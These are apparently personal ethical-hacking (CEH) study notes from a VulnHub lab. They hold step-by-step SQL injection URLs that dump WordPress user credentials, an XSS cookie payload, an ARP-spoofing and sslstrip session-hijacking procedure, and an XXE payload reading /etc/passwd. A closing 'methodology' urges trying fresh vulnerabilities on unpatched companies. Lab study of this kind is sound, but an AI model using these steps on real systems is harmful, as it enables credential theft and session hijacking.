**CEH Notes Day-16 (05/01/2020)**

<https://www.vulnhub.com/>

Hackademic

url for beginning

http://192.168.1.59/

enumerating the different pages

http://192.168.1.59/Hackademic\_RTB1/

http://192.168.1.59/Hackademic\_RTB1/?p=9#comments

http://192.168.1.59/Hackademic\_RTB1/?cat=1 --> looks potentially suspicious

http://192.168.1.59/Hackademic\_RTB1/?cat=1'

http://192.168.1.59/Hackademic\_RTB1/?cat=1 order by 1

.

.

http://192.168.1.59/Hackademic\_RTB1/?cat=1 order by 5 columns == 5

http://192.168.1.59/Hackademic\_RTB1/?cat=1 UNION SELECT 1,2,3,4,5

http://192.168.1.59/Hackademic\_RTB1/?cat=1 UNION SELECT 1,2,3,4,5

http://192.168.1.59/Hackademic\_RTB1/?cat=0 UNION SELECT 1,database(),3,4,5

database name == wordpress

http://192.168.1.59/Hackademic\_RTB1/?cat=0 UNION SELECT 1,group\_concat(table\_name),3,4,5 from information\_schema.tables where

table\_schema=database()

wp\_categories,wp\_comments,wp\_linkcategories,wp\_links,wp\_options,wp

http://192.168.1.59/Hackademic\_RTB1/?cat=0 UNION

SELECT 1,group\_concat(column\_name),3,4,5 from information\_schema.columns where table\_name=wp\_users

wp\_users == 0x77705f7573657273

http://192.168.1.59/Hackademic\_RTB1/?cat=0 UNION SELECT 1,group\_concat(column\_name),3,4,5 from information\_schema.columns where table\_name=0x77705f7573657273

ID,user\_login,user\_pass,user\_firstname,user\_lastname,user\_nickname,us

columns we want to dump == ID,user\_login,user\_pass

http://192.168.1.59/Hackademic\_RTB1/?cat=0 UNION SELECT 1,group\_concat(ID,0x3a,user\_login,user\_pass),3,4,5 from wp\_users

DVWA XSS reflected

<script>alert(document.cookie);</script>

session hijacking with arpspoof and sslstrip

-----------------------------------------------------------

locate sslstrip | grep README

cat /usr/share/doc/sslstrip/README

open a new terminal tab,

# echo "1" > /proc/sys/net/ipv4/ip\_forward

# iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000

# sslstrip -a

open a new terminal tab,

# arpspoof -i eth0 -t <target ip> 192.168.1.1

open a new terminal tab,

# arpspoof -i eth0 -t 192.168.1.1 <target ip>

finally, run wireshark with filter expression

ip.addr == <target ip> && http.cookie

check the cookie value in hypertext transfer protocol line,

copy -> as printable text,

paste in a temporary file so you can manipulate your session id to the obtained session id values

go to browser -> dweb developer -> storage inspector (shortcut shift f9)

modify your cookie values with the stolen values and make any request to impersonate the session

OWASP Top 10 - 2017

XXE - Using Burp suit interceptor, repeater, decoder

<?xml version="1.0" ?><!DOCTYPE thp [ <!ELEMENT thp ANY><!ENTITY book SYSTEM "file:///etc/passwd">]><thp>Hack The %26book%3B</thp>

<https://github.com/swisskyrepo/PayloadsAllTheThings>

insecure deserialization ajin abraham opsecx

<https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/>

exploit db insecure deserialization

Deserialization vulnerability - <https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf>

Bug Bounty Methodology

1. Once a vulnerability over a technology is disclosed

2. Immediately try that over a company which might have that technology since admins would have not patched it that soon.

3. Then create PoC video and submit it to obtain bounty.